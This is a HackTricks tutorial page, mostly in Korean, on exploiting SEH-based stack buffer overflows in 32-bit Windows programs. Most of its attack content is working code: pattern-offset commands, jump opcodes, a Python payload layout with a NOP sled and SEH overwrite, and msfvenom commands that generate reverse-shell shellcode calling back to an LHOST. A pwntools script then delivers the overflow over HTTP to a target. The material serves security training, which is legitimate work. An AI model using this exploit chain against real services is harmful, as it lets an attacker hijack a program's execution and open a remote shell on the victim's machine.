Windows SEH ๊ธฐ๋ฐ˜ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ต์Šคํ”Œ๋กœ์ž‡ (nSEH/SEH)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SEH ๊ธฐ๋ฐ˜ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์Šคํƒ์— ์ €์žฅ๋œ Structured Exception Handler ์ฒด์ธ์„ ์•…์šฉํ•˜๋Š” ๊ณ ์ „์ ์ธ x86 Windows ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋‘ ๊ฐœ์˜ 4๋ฐ”์ดํŠธ ํ•„๋“œ๋ฅผ ๋ฎ์–ด์“ธ ๋•Œ

  • nSEH: ๋‹ค์Œ SEH ๋ ˆ์ฝ”๋“œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ, ๋ฐ
  • SEH: ์˜ˆ์™ธ ํ•ธ๋“ค๋Ÿฌ ํ•จ์ˆ˜์˜ ํฌ์ธํ„ฐ

๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ ํ๋ฆ„์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. SEH๋ฅผ SafeSEH ๋“ฑ์ด ์ ์šฉ๋˜์ง€ ์•Š์€(non-protected) ๋ชจ๋“ˆ์˜ POP POP RET ๊ฐ€์ ฏ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜์—ฌ, ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ ๊ทธ ๊ฐ€์ ฏ์ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ”์ดํŠธ๋กœ ๋ฆฌํ„ดํ•˜๋„๋ก ํ•˜๊ณ ,
  2. nSEH๋ฅผ ์‚ฌ์šฉํ•ด ์‹คํ–‰์„ (๋ณดํ†ต ์งง์€ ์ ํ”„) ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์ฑ„์›Œ์ง„ ํฐ ๋ฒ„ํผ(์—ฌ๊ธฐ์— shellcode๊ฐ€ ์œ„์น˜ํ•จ)๋กœ ๋˜๋Œ๋ฆฝ๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ 32-bit ํ”„๋กœ์„ธ์Šค(x86)์—๋งŒ ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ํ˜„๋Œ€ ์‹œ์Šคํ…œ์—์„œ๋Š” ๊ฐ€์ ฏ์œผ๋กœ SafeSEH์™€ ASLR์ด ์ ์šฉ๋˜์ง€ ์•Š์€ ๋ชจ๋“ˆ์„ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค. C-strings ๋ฐ HTTP ํŒŒ์‹ฑ ๋•Œ๋ฌธ์— ์ข…์ข… 0x00, 0x0a, 0x0d (NUL/CR/LF) ๊ฐ™์€ bad characters๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.


์ •ํ™•ํ•œ ์˜คํ”„์…‹ ์ฐพ๊ธฐ (nSEH / SEH)

  • ํ”„๋กœ์„ธ์Šค๋ฅผ ํฌ๋ž˜์‹œ์‹œํ‚ค๊ณ  SEH ์ฒด์ธ์ด ๋ฎ์–ด์จ์กŒ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” (์˜ˆ: x32dbg/x64dbg์—์„œ SEH ๋ทฐ๋ฅผ ํ™•์ธ).
  • ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐ์ดํ„ฐ๋กœ cyclic pattern์„ ์ „์†กํ•˜๊ณ  nSEH์™€ SEH์— ๋„๋‹ฌํ•˜๋Š” ๋‘ dword์˜ ์˜คํ”„์…‹์„ ๊ณ„์‚ฐํ•˜์„ธ์š”.

Example with peda/GEF/pwntools on a 1000-byte POST body:

# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# โžœ offsets example: nSEH=660, SEH=664

Validate by placing markers at those positions (e.g., nSEH=bโ€œBBโ€œ, SEH=bโ€œCCโ€œ). Keep total length constant to make the crash reproducible.


Choosing a POP POP RET (SEH gadget)

You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

Pick an address that contains no badchars when written little-endian (e.g., p32(0x004094D8)). Prefer gadgets inside the vulnerable binary if protections allow.


Jump-back technique (short + near jmp)

nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.

With nasmshell:

nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

nSEH๊ฐ€ offset 660์— ์žˆ๋Š” 1000-byte payload์— ๋Œ€ํ•œ ๋ ˆ์ด์•„์›ƒ ์•„์ด๋””์–ด:

buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

์‹คํ–‰ ํ๋ฆ„:

  • ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋””์ŠคํŒจ์ฒ˜๊ฐ€ ๋ฎ์–ด์“ด SEH๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.
  • POP POP RET๊ฐ€ ์–ธ์™€์ธ๋“œ๋˜์–ด ์šฐ๋ฆฌ nSEH๋กœ ์ง„์ž…ํ•œ๋‹ค.
  • nSEH๊ฐ€ jmp short -8๋ฅผ ์‹คํ–‰ํ•˜์—ฌ 5-byte near jump๋กœ ์ ํ”„ํ•œ๋‹ค.
  • Near jump๊ฐ€ ์šฐ๋ฆฌ์˜ ๋ฒ„ํผ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์ฐฉ์ง€ํ•˜์—ฌ NOP sled + shellcode๊ฐ€ ์œ„์น˜ํ•œ ๊ณณ์œผ๋กœ ์ด๋™ํ•œ๋‹ค.

Bad characters

์ „์ฒด badchar ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ  ํฌ๋ž˜์‹œ ํ›„ ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋น„๊ตํ•˜์—ฌ ๋Œ€์ƒ ํŒŒ์„œ์— ์˜ํ•ด ๋ณ€ํ˜•๋œ ๋ฐ”์ดํŠธ๋ฅผ ์ œ๊ฑฐํ•œ๋‹ค. HTTP-based overflows์˜ ๊ฒฝ์šฐ, \x00\x0a\x0d๋Š” ๊ฑฐ์˜ ํ•ญ์ƒ ์ œ์™ธ๋œ๋‹ค.

badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode ์ƒ์„ฑ (x86)

msfvenom์„ ์ž์‹ ์˜ badchars์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ž‘์€ NOP sled๋Š” ์ฐฉ์ง€ ์œ„์น˜์˜ ์˜ค์ฐจ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

์ฆ‰์„์—์„œ ์ƒ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ, hex ํ˜•์‹์€ Python์—์„œ embedํ•˜๊ณ  unhexํ•˜๊ธฐ์— ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค:

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

HTTP๋กœ ์ „๋‹ฌํ•˜๊ธฐ (precise CRLF + Content-Length)

์ทจ์•ฝํ•œ ๋ฒกํ„ฐ๊ฐ€ HTTP ์š”์ฒญ ๋ณธ๋ฌธ์ธ ๊ฒฝ์šฐ, ์ •ํ™•ํ•œ CRLF์™€ Content-Length๋ฅผ ํฌํ•จํ•œ raw request๋ฅผ ์ œ์ž‘ํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ์ „์ฒด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋œ ๋ณธ๋ฌธ์„ ์ฝ๋„๋ก ํ•˜๋ผ.

# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

๋„๊ตฌ

  • x32dbg/x64dbg โ€” SEH ์ฒด์ธ์„ ๊ด€์ฐฐํ•˜๊ณ  ํฌ๋ž˜์‹œ๋ฅผ triage(๋ถ„๋ฅ˜)ํ•˜๊ธฐ ์œ„ํ•ด.
  • ERC.Xdbg (x64dbg ํ”Œ๋Ÿฌ๊ทธ์ธ) โ€” SEH gadgets ์—ด๊ฑฐ: ERC --SEH.
  • Mona โ€” ๋Œ€์•ˆ์œผ๋กœ: !mona modules, !mona seh.
  • nasmshell โ€” short/near jumps๋ฅผ ์–ด์…ˆ๋ธ”ํ•˜๊ณ  raw opcodes๋ฅผ ๋ณต์‚ฌํ•˜๊ธฐ ์œ„ํ•ด.
  • pwntools โ€” ์ •๋ฐ€ํ•œ ๋„คํŠธ์›Œํฌ payload๋ฅผ ์ œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด.

๋…ธํŠธ ๋ฐ ์ฃผ์˜์‚ฌํ•ญ

  • x86 ํ”„๋กœ์„ธ์Šค์—๋งŒ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. x64๋Š” ๋‹ค๋ฅธ SEH ์ฒด๊ณ„๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ SEH ๊ธฐ๋ฐ˜ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‹คํ˜„ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • SafeSEH์™€ ASLR์ด ์—†๋Š” ๋ชจ๋“ˆ ๋‚ด์˜ gadgets๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”. ๊ทธ๋ ‡์ง€ ์•Š๋‹ค๋ฉด ํ”„๋กœ์„ธ์Šค์— ๋กœ๋“œ๋œ ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ๋ชจ๋“ˆ์„ ์ฐพ์œผ์„ธ์š”.
  • ํฌ๋ž˜์‹œ ์‹œ ์ž๋™์œผ๋กœ ์žฌ์‹œ์ž‘ํ•˜๋Š” ์„œ๋น„์Šค watchdogs๋Š” ๋ฐ˜๋ณต์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ๋ฐœ์„ ๋” ์‰ฝ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ